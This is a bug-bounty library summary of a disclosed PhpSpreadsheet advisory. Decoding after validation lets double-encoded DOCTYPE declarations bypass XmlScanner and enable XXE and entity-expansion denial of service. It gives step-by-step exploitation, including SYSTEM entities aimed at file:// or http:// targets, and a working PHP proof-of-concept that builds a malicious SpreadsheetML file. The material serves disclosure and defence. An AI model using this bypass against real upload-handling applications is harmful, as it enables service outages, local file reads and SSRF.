# PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service

PhpSpreadsheet's XmlScanner checks for DOCTYPE before html_entity_decode, so double-encoded &#60;!DOCTYPE slips past two scans, enabling XXE and entity-expansion DoS.

- Payout: Research
- Severity: high
- Program: PhpSpreadsheet
- Found by: e1abrador
- Disclosed: 2026-10-27
- CVE: CVE-2026-108357
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-rxj4-h86g-25gc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rxj4-h86g-25gc
- Tags: area:oss domain:oss impact:data-leak impact:dos kind:research platform:ghsa sev:high tech:php technique:chained technique:source-review vuln:dos vuln:xxe

**Target:** SpreadsheetML XML reader (Reader\Xml) / XmlScanner
**Root cause:** XmlScanner::scan() runs its DOCTYPE regex check before invoking the unentity() callback that calls html_entity_decode(); numeric entities are not protected, so decoding after the check can materialize '<!DOCTYPE' that was never scanned.
**Steps:**
1. Craft SpreadsheetML with `&#38;#60;!DOCTYPE Workbook [` and `&#38;#60;!ENTITY big "AAAA...">` plus `&big;` refs in a cell.
2. First scan(): raw pattern finds no '<', then callback decodes `&#38;` to `&`, storing `&#60;!DOCTYPE`.
3. Second scan() in trySimpleXMLLoadStringPrivate(): again no '<' match, callback decodes `&#60;` to `<`, yielding `<!DOCTYPE`.
4. simplexml_load_string parses the now-valid DTD; internal entity expands (cell A1 hits 32767-byte cap, ~45MB peak).
5. Hex variant: use `&#38;#x3C;` instead of `&#38;#60;`.
6. For XXE/SSRF on PHP<8.0 or with LIBXML_NOENT, declare a SYSTEM entity pointing at file:// or http:// and reference it in a cell.
**How found:** Noticed scan() applies the DOCTYPE regex before the unentity() callback, and that the callback's html_entity_decode only shields five named entities, leaving numeric entities decodable; realized the reader scans twice, so a double-encoded `&#60;` decodes one layer per pass, materializing '<' only after both checks.
**Exploitation:** Attacker uploads a SpreadsheetML file (recognized by `<?mso-application progid="Excel.Sheet"?>`) to any app using the Xml reader; the double-decode bypass lets a DOCTYPE with entities reach libxml, causing quadratic entity-expansion DoS on all PHP versions and local file read/SSRF on PHP<8.0 or when LIBXML_NOENT is set.
**Insight:** When a sanitizer decodes after validating, look for any code path that re-runs the sanitizer on already-partially-decoded output — each pass peels one encoding layer, so double-encode the dangerous character and count the passes.

## Proof of concept (copied exactly from the original report)

**PHP PoC script for double-encoded DOCTYPE bypass**

```
<?php
require 'vendor/autoload.php';

// Double-encoded: &#38;#60; survives two scan() passes
// 1st scan callback: &#38; → & (forms &#60;)
// 2nd scan callback: &#60; → < (forms <!DOCTYPE)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);

$xml = '<?xml version="1.0"?>' . "\n"
    . '<?mso-application progid="Excel.Sheet"?>' . "\n"
    . '&#38;#60;!DOCTYPE Workbook [' . "\n"
    . '  &#38;#60;!ENTITY big "' . $entity_value . '">' . "\n"
    . ']>' . "\n"
    . '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n"
    . '  xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n"
    . '  <Worksheet ss:Name="Sheet1">' . "\n"
    . '    <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n"
    . '  </Worksheet>' . "\n"
    . '</Workbook>';

file_put_contents('poc.xml', $xml);
echo "File size: " . filesize('poc.xml') . " bytes\n";

$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader->load('poc.xml');
$peak = memory_get_peak_usage(true);

echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";

$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";
```

